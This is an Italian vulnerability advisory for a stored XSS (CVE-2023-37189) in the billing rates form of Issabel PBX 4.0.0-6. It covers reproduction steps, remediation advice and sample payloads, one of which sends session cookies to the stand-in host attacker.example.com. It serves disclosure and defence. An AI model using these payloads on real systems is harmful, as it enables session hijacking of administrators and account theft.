
Esiste una vulnerabilità di Cross-Site Scripting (XSS) memorizzato in Issabel PBX versione 4.0.0-6 all'interno della pagina di gestione delle tariffe di fatturazione (index.php?menu=billing_rates).
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2023-37189 |
| Vulnerabilità | Cross-Site Scripting (XSS) Memorizzato |
| Prodotto Interessato | Issabel PBX 4.0.0-6 |
| URL Interessato | index.php?menu=billing_rates |
| Campi Vulnerabili | Campi Name e Prefix nel modulo Create New Rate |
| Gravità | Media (CVSS 3.1 Base Score: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Data di Segnalazione | 07 Luglio 2023 |
| Scoperto Da | Sahil Ojha |
| Testato Su | Windows |
| Homepage del Venditore | https://www.issabel.org/ |
| Sorgente del Software | https://github.com/IssabelFoundation/issabelPBX |
Una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato è presente in Issabel PBX versione 4.0.0-6 nella pagina di gestione delle tariffe di fatturazione (index.php?menu=billing_rates).
Issabel PBX è una piattaforma open-source di Unified Communications ampiamente utilizzata, costruita su FreePBX/Asterisk. La sua funzionalità Billing → Rates consente agli amministratori di definire voci di tariffazione delle chiamate con un Name e un Prefix personalizzati. A causa di una sanitizzazione degli input e di una codifica dell'output insufficienti, un utente autenticato può iniettare HTML o JavaScript arbitrario in entrambi i campi. Lo script dannoso viene quindi memorizzato in modo persistente nel database dell'applicazione e eseguito automaticamente nel browser di qualsiasi utente che successivamente visiti la pagina delle tariffe — inclusi altri amministratori — senza alcuna interazione aggiuntiva.
Questa classe di vulnerabilità è particolarmente pericolosa nei pannelli di amministrazione perché:
Name e Prefix quando i valori memorizzati vengono visualizzati nella pagina.I seguenti payload, inseriti nel campo Name o Prefix del modulo Create New Rate, dimostrano la vulnerabilità:
Alert di base (verifica di funzionalità):
<script>alert('XSS')</script>
Furto di cookie di sessione (sostituisci attacker.example.com con un server di tua proprietà e autorizzato all'uso — non prendere mai di mira utenti o sistemi reali):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Payload basato su immagine con onerror (bypass WAF):
⚠️ Nota: Questi payload sono forniti esclusivamente a scopo educativo e di ricerca sulla sicurezza. Ottieni sempre un'adeguata autorizzazione scritta prima di effettuare test su qualsiasi sistema che non possiedi.
Accedi all'interfaccia web di Issabel PBX utilizzando un account amministratore.
Vai su Reports → Billing → Rates (URL: index.php?menu=billing_rates).
Fai clic su "Create New Rate" e inserisci un payload XSS appositamente creato nel campo Prefix o Name.

Fai clic su Save. Il payload viene ora memorizzato nel database.
Qualsiasi utente (inclusi altri amministratori) che visiti la pagina delle tariffe di fatturazione vedrà lo script eseguito automaticamente nel proprio browser.


Si consiglia al venditore e agli amministratori di sistema di applicare le seguenti contromisure:
htmlspecialchars() in PHP con ENT_QUOTES). Questa è la difesa primaria e più affidabile contro XSS.<, >, ", ', &) prima di memorizzare i dati. Nota che la sola validazione dell'input può essere aggirata e non dovrebbe essere considerata come unico controllo.Content-Security-Policy rigoroso per limitare l'esecuzione di script inline.Questo repository e le informazioni in esso contenute sono forniti esclusivamente a scopo educativo e di ricerca sulla sicurezza. L'autore non è responsabile di qualsiasi uso improprio o danno causato dalle informazioni fornite. Ottieni sempre esplicita autorizzazione scritta dal proprietario del sistema prima di condurre qualsiasi test di sicurezza.
Scoperta e segnalata da Sahil Ojha